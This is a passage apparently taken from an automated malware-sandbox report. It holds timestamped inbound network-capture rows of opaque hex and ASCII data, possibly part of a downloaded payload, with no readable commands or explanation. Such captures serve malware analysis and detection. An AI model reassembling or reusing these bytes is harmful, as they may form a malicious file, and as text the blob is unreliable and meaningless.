S^pPQEb1a'Hib4G2LluLiO{$,hea)-;*Wp"8[0]P2!4^2-au+})Huz.M+IK:IKm2Lj`m4;s[\:ru'I$>4Ya?FG\A?'$@]:$
2023-06-07 15:08:48 UTC	1902	IN	Data Raw: 54 72 39 42 04 3b 05 88 66 7e 12 25 42 42 07 df d8 52 38 71 69 ec 89 4d fc a8 b4 70 46 9a 07 e8 cb 92 96 f4 c9 19 78 19 27 48 c6 82 8c 0c d7 a5 28 51 0e a0 25 3d 10 34 f8 47 61 0c 59 38 e8 d2 39 97 81 af 25 6b f4 e4 56 50 c5 49 5c 00 20 62 8a 04 33 82 c2 d2 72 6a e9 2e b0 4c 48 42 8d f4 f4 ea 49 ec 81 bd eb 52 08 2b d3 71 80 a4 22 e4 ea 98 62 09 60 d4 ce f4 80 f9 24 da 2b 9e f8 5b 8a 0a c4 0f e8 96 4e 10 4e cb 56 74 0d bd 08 e0 0f 22 f3 24 16 9d 35 02 30 dd b8 d2 67 71 26 d6 9e 3d a6 75 ad 64 e4 a2 d8 53 8e 43 9b c9 7a 8e 15 52 fa e5 b1 25 63 4b 5b 5d 4a c9 cd 00 07 cd eb 45 96 0e fb d3 88 c8 53 53 85 f8 59 c8 20 07 c4 63 07 ca 0f 8b 68 48 f0 19 6e f5 02 d4 07 b4 c1 33 1a 27 56 d3 2e 7e 14 2e 55 ce 18 c9 16 80 3e 9c 05 61 d3 b0 3b 07 58 8f df e3 40 ba 2d Data Ascii: Tr9B;f~%BBR8qiMpFx'H(Q%=4GaY89%kVPI\ b3rj.LHBIR+q"b`$+[NNVt"$50gq&=udSCzR%cK[]JESSY chHn3'V.~.U>a;X@-
2023-06-07 15:08:48 UTC	1918	IN	Data Raw: c4 b9 ba 96 ae 74 1c 77 18 5c 2e e4 02 d4 c0 1c 82 40 c8 80 20 29 ba 02 c1 41 3f 33 63 73 b9 5c a6 c4 c4 bc 18 39 e4 92 4b b4 34 b8 b4 b9 80 92 01 d4 ab 00 f2 20 02 bb 00 e4 40 00 32 93 59 3c 11 20 07 0a 45 18 a8 80 1c 69 02 14 a0 4f b2 35 58 4a 81 56 a9 1c 22 7d 01 59 50 7f f9 d3 10 4d 10 3b 14 77 11 cd 2b c1 40 02 85 db db 26 88 21 2d 64 c4 c4 db 98 d1 eb 04 14 00 45 87 6c 08 ad 08 32 c3 de 32 88 ee e8 0a 5a e8 01 a0 06 0d 1c b2 3f e3 24 80 7d 4c 75 fc 7a 83 b4 90 68 29 e2 28 47 a1 b7 e4 1d 7a 14 c7 45 14 59 66 9a 18 79 62 b3 89 10 e9 d7 a1 b7 b0 d0 85 14 c2 7d 3a 13 ed 10 bc 33 56 af c7 27 de ec 2c f0 96 96 96 0f 1d 06 ca ba aa e6 c4 95 ae 02 47 57 2f 0e 89 81 cc db f6 8b c9 74 e8 5d 84 35 93 e2 34 0a 89 60 2f 19 0b 96 76 68 8d 3c 81 c1 c1 82 59 20 f2 Data Ascii: tw\.@ )A?3cs\9K4 @2Y< EiO5XJV"}YPM;w+@&!-dEl22Z?$}Luzh)(GzEYfyb}:3V',GW/t]54`/vh<Y
2023-06-07 15:08:48 UTC	1934	IN	Data Raw: bb 03 49 d0 1a 51 78 06 f9 5f c8 c0 46 ff 6a 14 89 7d fc 89 7e 0c a5 ed 81 78 09 b2 78 14 78 10 14 4b 07 15 79 53 39 eb 48 b2 f1 3f f3 79 d0 db 0c 68 c8 de 5a 6a 8b e2 77 04 3d 98 96 c4 18 02 90 28 90 a9 b2 85 71 92 01 29 d9 85 19 8f 78 a6 3d 58 06 bc ef d9 4c 8c f5 49 1d 76 e6 3a dc a2 a5 18 89 ea 1b 49 fb 45 e0 1c 04 18 5e 8a 18 d3 dc ee 44 45 20 8c c3 28 24 8a a9 ca 49 24 30 2c 58 24 b9 a9 30 42 14 77 0c 3c 95 93 a6 14 08 18 14 14 b9 e0 0e 90 45 1c 78 43 24 50 4f e5 76 20 af 2c 28 20 f8 90 84 31 55 6d 6f fb 68 19 8b 16 19 a2 10 c0 9a c4 c9 89 56 4e 74 14 8c 0e 49 c3 37 d2 0c 59 c6 14 6b 37 86 53 3f 9e 03 40 50 77 41 24 6a e0 bd 7a 50 2e 39 10 5b 4f 21 86 2c cd b2 57 07 a0 35 53 af 2c fa f7 05 e9 7b 04 e2 03 84 07 eb 83 c6 4c a5 74 08 11 84 4c b3 a9 4b Data Ascii: IQx_Fj}~xxxKyS9H?yhZjw=(q)x=XLIv:IE^DE ($I$0,X$0Bw<ExC$POv ,( 1UmohVNtI7Yk7S?@PwA$jzP.9[O!,W5S,{LtLK
2023-06-07 15:08:48 UTC	1950	IN	Data Raw: 80 eb 90 0c c8 0b 16 3b 93 c8 41 2e e4 15 e0 93 7f 15 bc 90 97 5c b2 a6 09 17 30 96 1c 92 97 7b 1d 16 d5 20 17 72 db 43 cd 76 e4 19 90 17 32 27 18 25 a7 87 5c c8 21 17 ca a7 d7 90 01 39 21 e5 16 45 1c 92 97 bc 19 1a 7c 31 18 bf 0b f9 bd 84 43 cd 80 38 c8 0b 19 90 48 63 1a 0f 2e e4 90 0c bb 19 b4 bb 08 c0 90 43 99 21 87 1c 50 1d 06 08 ad 5b 1a 5c 38 47 82 8a 2b 00 08 b3 4f 23 10 8d 33 c9 4d c4 7c 10 f4 8b 03 42 5e 89 31 83 1c 15 00 1b 0c 3b 41 f8 07 2a d4 87 22 09 50 00 6b 88 f8 c1 21 d2 6c ce cc 47 04 8f 3f 86 03 37 82 cc ae 43 d4 ed 5e 0f e8 69 30 80 11 20 0d 33 bc 92 0f e0 02 4f 3f 86 7e 2a 4d 1d ac 4b 13 82 10 00 40 21 0e a4 88 23 01 7d 2a 00 f8 75 2b fc 50 cd d3 c9 0d 00 21 92 83 1c 4a 5e c4 00 53 ce d5 10 94 c7 44 f0 e6 06 e0 d0 e8 cd cd 45 74 4b 3e Data Ascii: ;A.\0{ rCv2'%\!9!E\|1C8Hc.C!P[\8G+O#3M\|B^1;A"Pk!lG?7C^i0 3O?~MK@!#}*u+P!J^SDEtK>
2023-06-07 15:08:48 UTC	1966	IN	Data Raw: 0f c8 b7 06 a1 87 10 75 02 21 aa 46 d5 8e 06 db 89 7e f4 56 23 80 52 04 88 43 75 65 3a 24 8d 7e 42 88 01 d0 eb e3 0c 10 75 c0 68 5d aa 0b 11 a3 cc 20 79 6c 24 15 e3 e4 a6 71 65 41 fd 65 42 04 c6 40 e1 00 33 80 63 48 1f f2 45 0a e3 30 0d 70 bf 16 f0 cd 46 37 89 9f 50 20 cd 02 76 cd 14 0e 54 31 77 1c 13 c2 44 46 28 64 3d 11 76 25 32 8d 12 07 35 bf 8b 96 4d d3 18 14 18 1c 06 51 18 85 d1 46 bb 41 3c c0 25 22 51 80 da 18 40 c5 0a 4d d3 0e 54 4e 58 5c 60 46 35 f5 68 21 09 76 10 6e cb ea 64 4a 8f 24 cd a4 21 0d 28 c0 33 0a 7e 53 93 db af 10 5c 14 9c 9f 95 76 0a 18 b7 1c c7 87 20 97 76 25 19 bb 00 af 40 48 58 5e c2 69 07 bb 38 5c ff 9b 7a 5f 7b 2f 0a 60 71 2c 5d 30 86 9c e4 fa 0c f5 26 ce 34 32 d8 05 e2 30 7c 24 14 b1 ad 9c 5e c1 cf c8 cf d4 6e a3 57 4c 74 8f d3 Data Ascii: u!F~V#RCue:$~Buh] yl$qeAeB@3cHE0pF7P vT1wDF(d=v%25MQFA<%"Q@MTNX\`F5h!vndJ$!(3~S\v v%@HX^i8\z_{/`q,]0&420\|$^nWLt
2023-06-07 15:08:48 UTC	1982	IN	Data Raw: 21 62 40 05 60 36 1b 7f 97 0c e9 41 8f 4e 8b d0 0b 0b 58 0c bd 38 55 16 74 c0 8d 83 04 ae 52 25 61 4d 01 e6 90 59 05 1c 02 aa 22 79 a0 7b 71 da ed 8b 8b cd 53 36 0a 3c 0d 51 d8 a4 a7 84 3b 13 91 e9 09 01 31 95 5f da 61 16 10 b0 e8 8a 83 b4 93 d6 29 df 7d 2f 93 29 88 45 ec 88 93 c2 da d8 32 c4 10 6c 0c 94 0f 86 1e 24 80 e5 cb d0 47 59 a2 fe 2e 26 c2 c8 64 1f 4f f1 c9 06 10 f8 74 5f 03 13 14 3c 36 54 34 ab f8 8d c1 db 4c c3 23 9c 0c 89 6c 25 8a b3 b8 b1 15 a0 84 9f f8 28 47 3c a2 4d 84 6c 43 41 6e e7 94 f2 e2 e6 d2 85 bd 17 9c 48 d3 e5 fe 42 71 ec 15 f7 06 4e 2f 3f 5c 72 90 98 3a 48 d2 84 88 63 63 b8 01 e2 83 b9 e4 c8 c2 76 4d d9 93 c0 27 2c 36 71 89 db 3c 49 12 a0 42 85 0e 8e 26 2d 2d 42 37 00 fc d1 0e 54 66 8a 46 58 b7 8f 45 42 ad 50 04 54 1e 4e 58 e0 a7 Data Ascii: !b@`6ANX8UtR%aMY"y{qS6<Q;1_a)}/)E2l$GY.&dOt_<6T4L#l%(G<MlCAnHBqN/?\r:HccvM',6q<IB&--B7TfFXEBPTNX
2023-06-07 15:08:48 UTC	1998	IN	Data Raw: d7 ea 6b 01 30 3f 3b 93 fd e2 0a 43 6c 41 0e b7 00 db 99 61 56 10 3d 13 44 f8 00 ee 75 66 b8 7e 71 21 82 09 2f 34 17 9b f2 96 bb d9 c0 18 d9 a3 25 29 c8 a3 8e 21 2c 6d 7c cc ca 33 35 ee 90 50 19 03 c2 7a 18 78 0b 20 fe b2 cf b7 74 a7 eb c9 c4 ea 3a 1d 08 32 7c c9 51 c1 88 73 a7 f5 4b 26 39 39 94 25 05 95 e4 80 3c 92 93 45 70 ba 1e 86 92 03 b9 aa 05 93 3c 20 39 40 05 26 1b c9 24 27 97 4d 47 b6 39 90 47 72 b5 46 57 3d a1 e4 40 2e fd 47 39 40 0e 90 b5 47 38 82 1b 92 0b ec 41 26 a7 0d 76 9b 1a 75 2f a7 dc 81 5c e0 2e d7 11 a7 d7 6e 53 97 cf ec 47 03 0c c7 f0 1e 2c 39 d0 a7 d8 a3 92 cb 05 52 a6 d8 dc d7 32 41 f2 19 e0 4e 60 67 25 93 9c 5c 9d 3f f8 c9 81 4c c9 f9 af 7b 0c 25 07 72 a3 3f f9 32 41 72 80 3f 8d 92 87 9c 5c c5 a2 72 19 39 90 47 72 9a 1b 48 5b 9a 8b Data Ascii: k0?;ClAaV=Duf~q!/4%)!,m\|35Pzx t:2\|QsK&99%<Ep< 9@&$'MG9GrFW=@.G9@G8A&vu/\.nSG,9R2AN`g%\?L{%r?2Ar?\r9GrH[
2023-06-07 15:08:48 UTC	2014	IN	Data Raw: b1 20 b3 81 94 f0 6e 45 38 7c f6 66 33 91 41 16 d1 31 57 6b a1 96 6f 57 ac b4 88 23 5a 1c 3c 12 fd 3a 4b 38 ac 35 24 35 6a 2e b0 cc 9a c0 2f b8 2a 0c 1f 2c 81 83 64 0d 12 e4 b9 39 81 50 1c 30 dc 3b 12 34 0f b7 60 56 aa 54 0e db 82 38 95 f8 80 2f 5c b0 c2 4b db fd 3d 8b 13 03 4b 10 97 57 08 2e fa 6d 09 e7 48 04 ce 8d 42 24 80 87 90 12 8c cc ed c8 cc 47 fd 8f bf 4b a2 39 93 60 0a b8 c8 0f 0f e8 7e 5b 3d f1 4c 90 01 f2 6e 4c d6 60 b0 96 84 a2 f2 34 3a 4b 14 b9 84 ea 80 53 80 41 75 e8 c2 0b 3c ed 2b cb a0 1e 14 f4 89 0f f4 35 9c 3f 21 01 45 f8 40 58 32 13 c7 44 ea f5 32 2d f0 31 2f 4b 84 31 11 b9 03 60 00 f5 c7 13 c3 c6 dc d2 24 b6 53 f8 1e 1e 77 30 55 19 fa 43 25 03 f1 13 d8 c2 27 21 41 9f 20 86 01 77 41 c2 e0 bd 91 de 48 8b f7 08 b1 01 e3 4f 68 89 0b f3 84 Data Ascii: nE8\|f3A1WkoW#Z<:K85$5j./*,d9P0;4`VT8/\K=KW.mHB$GK9`~[=LnL`4:KSAu<+5?!E@X2D2-1/K1`$Sw0UC%'!A wAHOh
2023-06-07 15:08:48 UTC	2030	IN	Data Raw: 56 fa f7 02 74 3b 02 74 54 55 86 8e 41 af 66 18 e7 01 82 6a 0c 7e 03 16 90 d4 77 9e 0c 02 2e 74 10 3c d1 24 1a 9f 9f 26 ff 88 c6 d9 7a 3d 1a 36 4e 03 dc b0 28 81 f0 d4 43 4d 08 a7 b4 36 45 16 e1 11 00 8c 8b 6e 42 93 e7 66 af 10 55 b7 10 b9 05 05 e4 b9 40 9e 06 06 07 07 41 9a ca 09 d1 04 08 08 79 4e 9e 93 08 09 09 0a 0a 26 90 e7 02 0b 0b 74 9c 0c d2 5c 0c 0c 0c 0d 17 c8 73 f2 0d 0e 0e 0f e6 32 81 3c 0f 17 10 79 2e 78 ef 10 74 56 4a 10 92 10 75 11 11 9e 0b e4 39 12 12 13 13 a4 a9 9c 40 b9 03 14 14 cf c9 73 1b 14 b9 15 15 16 16 04 f2 5c 20 17 17 93 41 9a cb 5c 18 18 18 02 79 4e 9e 19 19 1a 1a 2a 27 90 e7 1b 1b ff 02 1c 79 4e 06 69 1c 1c 1d 1d 9e 0b e4 39 1e 1e 1f 1f 01 50 98 40 a2 52 00 fe 4f 67 d9 03 f1 03 d1 3b d9 0f 83 09 08 9b c0 0b a5 d3 0c d2 14 fc 3a Data Ascii: Vt;tTUAfj~w.t<$&z=6N(CM6EnBfU@AyN&t\s2<y.xtVJu9@s\ A\yN*'yNi9P@ROg;:
2023-06-07 15:08:48 UTC	2046	IN	Data Raw: 0f 96 36 a8 70 57 f5 10 28 05 f0 6b c0 0c 05 6a 33 09 66 ab 9e b8 0c 0f 0c 53 68 ad 63 19 30 49 7d 41 9e 24 fd ec d7 24 de c0 4a c9 fe fc d6 03 e0 c6 24 48 5d 02 28 e0 27 23 b5 87 09 a4 03 c8 49 bb 9b 21 58 0e 0a 6b f2 e8 8d 45 f8 a9 07 84 3f 51 86 63 5e eb 7e af a3 55 9f 32 54 52 9d a5 5f 5c 06 f0 4e 07 3e 3c e8 18 46 4d 17 f3 51 bf 47 6b 6e 3b 3a 55 b3 75 e5 73 4c 42 d3 08 3e 58 0c da d6 14 0b ad ea b8 9e 51 c9 30 54 a4 00 84 1e 4c 47 e7 04 2b d1 02 1e 90 85 15 39 90 04 90 51 8d 14 26 b4 29 41 f5 32 4c 84 08 af 61 49 20 9c 9f b8 c5 27 68 4b 6b 8a 1a a6 3a 19 8e 80 5b 42 78 42 41 eb ed 2d 09 2b c1 36 85 4d 84 9b 13 a3 85 55 05 c1 aa f0 5a 84 a1 fe 61 64 00 6b f9 32 3a 78 3a a6 3a e2 f4 4d 6b 62 e4 69 6d 09 77 c9 ae 20 59 e6 83 15 28 ca 61 b8 d5 02 97 ef Data Ascii: 6pW(kj3fShc0I}A$$J$H]('#I!XkE?Qc^~U2TR_\N><FMQGkn;:UusLB>XQ0TLG+9Q&)A2LaI 'hKk:[BxBA-+6MUZadk2:x::Mkbimw Y(a
2023-06-07 15:08:48 UTC	2062	IN	Data Raw: 51 4b bf 8f c0 bc 05 a2 ec 19 04 45 b8 c6 0f c8 68 9d c4 ae 5c 40 44 06 25 bc b7 60 e3 06 3d c7 0f d9 3c 24 80 cd cd 65 54 06 83 e0 7f f8 7f 09 b0 20 32 b6 c2 5c 91 d0 24 d6 55 08 39 b4 0f d7 9f 42 49 72 08 f9 bc 11 49 c5 49 b2 4b 10 f2 79 11 81 4b 55 4c dc f3 22 e4 02 4f d1 4e 85 6a 7a 80 fa 69 ef b6 e3 99 41 7d c0 16 c4 1f 11 12 7e 08 6e 86 f0 7f cf dd 06 0b eb e1 38 47 3a 8d ed 24 0a f8 49 7f c1 e1 17 40 c4 0b 02 e2 64 03 e8 e0 db d2 40 67 d6 13 18 da 5f ed 4d ec 72 59 00 0b 4d b0 ac 81 f8 de b6 85 c6 33 a4 c2 0b 81 e6 02 88 db d3 82 8c 0b 0b f0 b7 d2 bc 56 79 14 7a 0f f0 70 04 81 59 e1 08 04 bd 1c 81 20 2e 80 0d 2f 37 de c4 23 69 62 14 eb 57 f3 cb 58 ca 94 e4 1c 8c 76 90 70 07 6f 56 50 dd 75 be 53 82 a4 77 8d 0e 07 39 1f 36 46 98 52 6d 05 b2 9b b0 a7 Data Ascii: QKEh\@D%`=<$eT 2\$U9BIrIIKyKUL"ONjziA}~n8G:$I@d@g_MrYM3VyzpY ./7#ibWXvpoVPuSw96FRm
2023-06-07 15:08:48 UTC	2078	IN	Data Raw: 0b 7d a0 71 85 26 19 47 56 40 81 08 47 2e 2b ca 69 92 0e 26 9d 10 f8 4c 0c 4c 38 bb b2 53 b0 2e 1d a3 f4 f8 11 c8 78 91 05 07 28 55 f2 13 c8 58 43 d2 db 83 c4 0c 3c 44 00 16 1f 20 e2 00 84 02 1d 84 ef ee eb 86 f0 0e a6 76 58 66 ce f3 de 0f c0 50 21 a0 0e d8 06 c8 e0 f9 3a c1 12 e5 01 08 d0 35 01 08 cf f6 d3 34 4c 54 25 b0 47 06 8c 6d 42 06 fa d0 11 34 44 7c da d3 ca 06 f3 7e da f8 65 43 37 bd 7c 1e 3d 8a 7f 20 e6 ff 01 c3 1e f2 0f 5c f1 66 0f 56 f4 43 78 ef b5 74 cc dd d4 c3 14 21 11 08 78 6f 2b 94 ff 74 11 2a 01 41 a1 f5 63 77 d9 ee 7c 40 c3 0d 73 03 5a 92 d6 31 ee 7d 50 69 cf 05 90 0e c2 c0 5e c5 c0 00 c0 13 c2 ef 2a c1 b6 c4 ba ef 19 01 18 26 af ce 0b ca 44 14 94 84 1c 12 f9 47 a6 84 1e 4b d4 59 93 44 e1 b4 08 0c 18 a3 6c dc 6f ab 14 6a b7 4f 58 90 39 Data Ascii: }q&GV@G.+i&LL8S.x(UXC<D vXfP!:54LT%GmB4D\|~eC7\|= \fVCxt!xo+tAcw\|@sZ1}Pi^&DGKYDlojOX9
2023-06-07 15:08:48 UTC	2094	IN	Data Raw: 54 33 d1 00 ea a8 5b 7c 0f 19 9f 20 a2 66 a4 48 00 0b 86 46 04 c6 d5 be 8c 85 6c 90 de 13 22 39 08 47 c3 83 7a d4 f0 3a 52 1a 5c 28 27 c0 da fe 40 ff 4e da 90 f5 60 ba 7e 50 00 4b 28 a4 ed 12 b0 50 46 68 22 54 92 b1 34 06 0f c7 10 26 50 ba 03 96 67 08 82 0e 7b e1 b1 62 0f 45 f2 1a 1f 23 f3 48 02 2b 5b c4 ff b6 b8 d4 1b f3 78 0a 7f 64 e1 ff 5f 16 04 b0 2b eb 09 f7 d9 6a 2d 13 f3 f7 de 58 83 86 e1 3e d6 fa c2 98 29 fc 16 37 26 5a b8 e8 1c 4a c8 72 21 8d cb 84 0a 94 56 a3 df c2 cc b0 80 dc 04 ae 8a b8 4a 56 fa 75 a0 1f 29 bc 0b 5e 2a 6a 64 72 23 dc ce d6 0a 0e 64 59 9c 5c 52 5a 02 c2 af 09 1c 3f 5c 3b 7d d4 fe 98 26 5a 60 21 9b 4d 9e 2b 0a 72 1a 0a 5d d4 59 a2 c2 f8 2d 68 02 ca 88 0f 88 5f 9c 5b 27 21 d6 69 a5 82 59 90 50 56 a2 a1 d0 02 20 b7 74 b4 c6 b4 f1 Data Ascii: T3[\| fHFl"9Gz:R\('@N`~PK(PFh"T4&Pg{bE#H+[xd_+j-X>)7&ZJr!VJVu)^*jdr#dY\RZ?\;}&Z`!M+r]Y-h_['!iYPV t
2023-06-07 15:08:48 UTC	2110	IN	Data Raw: f1 05 57 96 a1 ee d2 02 46 14 e3 db 49 24 0c fe 31 c1 e1 0d 23 c1 ba 95 ca c1 b7 d4 81 c2 52 20 40 0d 55 69 5c 1a 27 9e ca 2c de e0 97 49 67 ae 61 e6 50 1a 7e 41 07 d9 ee c3 79 34 9e 87 5f 98 54 dc e0 cb c9 78 e9 42 e9 30 00 79 44 43 e8 03 0e f9 4d 04 78 15 4b 19 e6 c1 75 65 a8 78 84 a0 b9 74 b1 10 56 80 5f 83 74 23 55 f7 b1 d8 30 37 c7 16 c3 0d 24 09 5a ed 28 c3 45 45 ae 76 70 b3 95 37 03 7e 18 5f 3c 52 e4 2c c4 ba ee e4 5d 01 86 93 69 84 d1 d0 d2 cf 00 a5 77 71 0b c2 f9 7b 4a 81 39 f0 7a 25 18 69 67 e4 fd 18 5c c9 ba 1c 00 8c 16 64 70 6c 1f 07 eb 09 6c 75 20 25 04 7d db c4 e2 a3 1a fe 3b 82 8b 17 bf 75 03 d9 e8 e9 8d 6b 38 19 da c1 9d 55 95 37 c8 ae ca 03 bb 9a 7c f1 0b b0 a2 05 a3 d1 4f 3c 5c e0 01 fa 3b 14 aa 03 55 79 b1 c1 0b 32 72 17 d6 27 73 03 cb Data Ascii: WFI$1#R @Ui\',IgaP~Ay4_TxB0yDCMxKuextV_t#U07$Z(EEvp7~_<R,]iwq{J9z%ig\dpllu %};uk8U7\|O<\;Uy2r's
2023-06-07 15:08:48 UTC	2126	IN	Data Raw: ec 99 4f a1 8d aa 00 c9 c3 0f 5b ee b4 85 0c 49 22 5c 62 11 4a b5 0e 47 ff 22 fd 21 bc 0a e9 7e 16 bb 07 90 90 78 89 9f 69 01 2a 8b 4a e4 6b ff 67 94 f7 b8 00 5d 0a c8 e9 ec a6 fc ff 39 92 09 f9 92 f4 f4 e9 cf fc f0 69 e2 7c 0b 20 e9 b2 e0 e0 c8 c2 83 24 c6 fc c3 14 5e 93 fe 00 12 c4 b9 ff f3 25 d7 12 0f 75 e8 44 e9 77 cc be 92 8c 0c e7 c3 b9 85 02 e4 7b 6e 87 fd 2e d0 e9 cf c3 31 04 92 ab bd 39 fb c0 e9 b6 c3 b7 bc 18 da 39 f9 70 e9 1b 8b 53 dc ee 87 f3 2b 81 c4 e9 f1 a5 48 a9 bf b9 0f e1 05 04 01 7a 22 3a 20 bf 82 a9 5f ec eb f8 e9 bc a5 98 10 71 4e 1c c3 fd 8a 61 b2 6e 75 e8 ef 0c 2c e9 74 03 ed fc 80 8f e8 e9 d4 c2 75 60 53 b2 c0 e0 e9 39 a5 c3 58 75 39 f0 91 fc e5 6b 53 8c e9 0f d4 e9 7f c2 b9 25 57 7e c9 d0 b8 e9 e5 a4 e4 e9 55 33 2c 58 72 e0 d0 bb Data Ascii: O[I"\bJG"!~xi*Jkg]9i\| $^%uDw{n.199pS+Hz": _qNanu,tu`S9Xu9kS%W~U3,Xr
2023-06-07 15:08:48 UTC	2142	IN	Data Raw: d0 12 4d 25 07 14 dd 4a 2e 06 19 d8 db f8 56 f8 5e eb e9 78 de 5f 26 a9 e4 61 89 6f 92 69 15 10 05 d5 9c 45 df af 93 8e df 9f 0f ac 52 4c db 6b e8 0c 6f 89 6e 7d 87 1f e5 f2 97 93 79 77 94 e9 8f 85 c2 67 cc da 87 ae 40 6f df a4 1e 4d 9f 4f 32 15 bc ea 0f 44 4c 85 e0 fb 28 fc 05 01 68 e9 b5 dd f1 0d 83 52 e9 f6 c2 e7 d9 4a 15 ec ce df 95 ee 85 ee ef 4b 25 04 3a 3d c5 14 d8 fd 8f 3d b8 3c 2f 64 c1 60 15 fa 5f 2e cf cb 21 ef a4 fd e4 30 f9 26 99 f6 bf 15 ce c3 57 70 1c e4 e7 57 b8 15 1c ff 03 30 c0 f8 2f 32 c9 24 87 ed e2 d7 c9 24 93 4c cc c1 b6 20 87 a2 33 ab 41 6c fd e8 47 d8 34 02 b4 99 dc 33 ed 1c c1 2d 4d 1b 51 95 52 03 6f ad 38 54 6c 8c 4a a1 7d 98 6b 85 52 92 45 dc 79 9d b3 e4 72 5b 31 a9 72 22 bd 62 e0 e9 13 49 e7 42 d5 a0 c1 70 0f b9 23 e4 a7 ce b1 Data Ascii: M%J.V^x_&aoiERLkon}ywg@oMO2DL(hRJK%:==</d`_.!0&WpW0/2$$L 3AlG43-MQRo8TlJ}kREyr[1r"bIBp#
2023-06-07 15:08:48 UTC	2158	IN	Data Raw: d4 10 9c ea a7 b8 0b 17 c0 e9 52 13 d7 8f b6 c8 0f 7e 90 18 48 e9 28 1b bc e9 65 d8 12 c8 07 e0 e9 68 30 4f 81 80 7c 80 8a 89 e4 e9 36 81 25 1f 40 3e e4 e9 1d 81 14 e9 04 81 60 25 94 6f 30 eb 80 40 e2 80 10 ce df 03 6f da 0f d8 e9 d2 23 5f 14 e2 cd 96 18 a8 e9 50 12 8d 1c f9 83 86 b5 03 19 80 e9 26 12 63 b5 bc 40 4e 70 5b 66 80 4d 80 e0 02 79 81 34 80 1b 1a 07 1d 87 9f 12 80 4b 19 41 72 aa 42 3e 11 6b cd b4 e4 67 a2 e0 1a 88 3e 11 a5 a3 b4 90 13 c8 03 0f a0 f6 9f 7b 5a c9 07 bc e9 58 a5 a0 3f 31 1a dc c3 d2 d4 74 8f 2e 05 23 66 e2 20 c5 3a f0 c8 0b 64 e4 e9 c8 10 05 71 9f 40 0e 21 17 58 ba a4 48 9e 9c bc a1 a4 1d 90 a4 92 73 5c 31 1a e9 2a 10 4b 67 b3 91 dc aa 0e 1c 6a 00 53 3d c9 29 0a 70 70 3e 0f 73 13 b3 a2 42 02 07 1c fe 0f 47 8e fc 41 72 e9 b2 1d 30 Data Ascii: R~H(eh0O\|6%@>`%o0@o#_P&c@Np[fMy4KArB>kg>{ZX?1t.#f :dq@!XHs\1*KgjS=)pp>sBGAr0
2023-06-07 15:08:48 UTC	2174	IN	Data Raw: 15 da 78 72 0b 34 91 62 a8 e9 af 01 d6 72 5b 51 40 b9 52 dc e9 85 51 03 c5 78 c1 d9 7d 29 02 15 71 02 3e 52 d3 f9 92 2b e9 6d 8a e8 34 e9 24 2d 45 14 c6 41 c4 68 8c 1f 10 05 76 44 cb 25 42 d5 02 ce 2d c5 91 52 b4 e9 97 6d 85 bc 7c 1c 07 62 ff 61 62 e0 89 64 e4 c9 e9 65 d5 61 cd 45 72 72 f2 2a 58 e9 33 a3 9b 44 72 72 f2 d0 e9 01 71 69 91 9c 8c fc 2b 48 e9 cf 43 3f 37 3e b4 16 60 94 9d 43 43 9a 35 81 8a 2b 5f e6 b5 b8 68 76 b9 81 1b f9 27 c0 2c 38 3e d7 cc e9 d3 60 cb 0f 30 c5 a0 73 c3 45 2c 47 5e 20 84 fe 4b 99 60 91 60 cc 16 1d 24 2d d2 f7 42 63 67 62 62 91 9c 5f fe 48 3e 41 a8 42 eb 38 e9 6a 5c c3 aa e5 16 de f0 e9 87 56 be af 1b 4a a7 b4 35 64 a7 cf b0 ed 15 60 a0 eb 2e 54 4d 73 62 a5 5e 0a 3f 75 52 b4 62 95 e5 95 da d4 01 dd 1f 52 05 8c 83 4d a1 75 f9 Data Ascii: xr4br[Q@RQx})q>R+m4$-EAhvD%B-Rm\|babdeaErr*X3Drrqi+HC?7>`CC5+_hv',8>`0sE,G^ K``$-Bcgbb_H>AB8j\VJ5d`.TMsb^?uRbRMu
2023-06-07 15:08:48 UTC	2190	IN	Data Raw: 1f a2 39 39 39 39 9a 92 8a 82 fc 9d 7c 39 7a a8 e9 72 6a 0f a4 e9 62 3b b9 9d 9c 5a 52 3f 4a 42 0f 72 72 72 72 3a 32 2a 22 e4 76 72 72 1a 12 0a bf 02 89 1b 39 f2 fa 96 f2 96 ea 0e bf c7 b3 b2 a3 0f 64 0f d0 e9 b7 0a 4d 9c d2 e1 84 27 27 b7 93 b7 af 0f a7 9f 97 dc 4e 6e 27 8f d5 87 7f 0f 77 bb 9d 9c 9c 6f 67 5f 5f 57 0f ed e4 e4 76 4f 2f 47 3f 37 4f 93 db c9 c9 2f 27 1f 1f 17 c8 91 b7 93 0f 07 2f ff 95 f7 95 ed e4 64 e4 ef 95 e7 df d7 3f 93 db c9 c9 cf c7 bf 1f b7 4d 4e 0a b2 af 0f fe 95 95 6d 72 52 90 2f fe 95 95 2f 2c 9c db c9 77 6f 0f 67 e9 56 f2 95 7e 5f 95 b6 55 44 ed e4 76 3b 3c 0f 34 95 2c 24 3f b7 db c9 c9 1c 14 0c 0f 04 2f fc 27 27 27 b3 94 0f f4 ec e4 dc 27 27 27 27 d4 cc c4 bc 91 b3 27 27 b4 ac 94 bf a4 94 93 93 93 93 9c 94 8c 84 93 93 93 93 7c Data Ascii: 9999\|9zrjb;ZR?JBrrrr:2*"vrr9dM''Nn'wog__WvO/G?7O/'/d?MNmrR//,wogV~_UDv;<4,$?/'''''''''\|
2023-06-07 15:08:48 UTC	2206	IN	Data Raw: 58 e9 47 00 0d 95 12 6e 02 68 60 0d c7 87 7f 45 70 dd d2 93 7f 0e e7 90 18 e9 fd a6 c5 60 4d 66 93 3a 69 5f 34 21 de 3d 93 2c 93 98 e9 b3 14 80 4b a8 a6 2d 52 f7 d9 fa ea e3 5c 35 cc 39 53 10 a6 f0 f2 11 12 4b 35 bb b3 ed b9 be 47 c9 3b 1f b4 d0 0f 1e ea 05 57 54 c2 79 e4 6f 91 78 40 aa 80 8f a1 a6 ad 98 14 71 c3 0b 1a 06 91 c4 16 cd d7 34 d5 f1 03 95 38 cf 34 d3 92 20 e9 e4 a5 9e c2 7a af 39 a5 63 22 0f 4a fe 8c 16 d0 83 14 e9 8d 2d 58 be e4 e0 54 e9 a2 f0 76 09 d0 97 95 5a d0 4e eb 17 ef 21 c9 a6 e5 96 22 5f 72 98 e9 68 4c 4e c1 f2 e0 c0 13 b7 07 21 7a 19 4e 32 c5 b4 83 e0 fe 33 26 17 04 8a bb a0 e0 e9 13 31 ad 9b c0 2a 91 cc 0e 73 57 04 f7 56 ee b1 98 43 93 ac d1 95 45 00 c6 a4 80 e9 46 e4 10 7a a3 35 e3 bf 48 05 8c 36 76 8a da b7 1b 4c 00 14 b5 8c a4 Data Ascii: XGnh`Ep`Mf:i_4!=,K-R\59SK5G;WTyox@q484 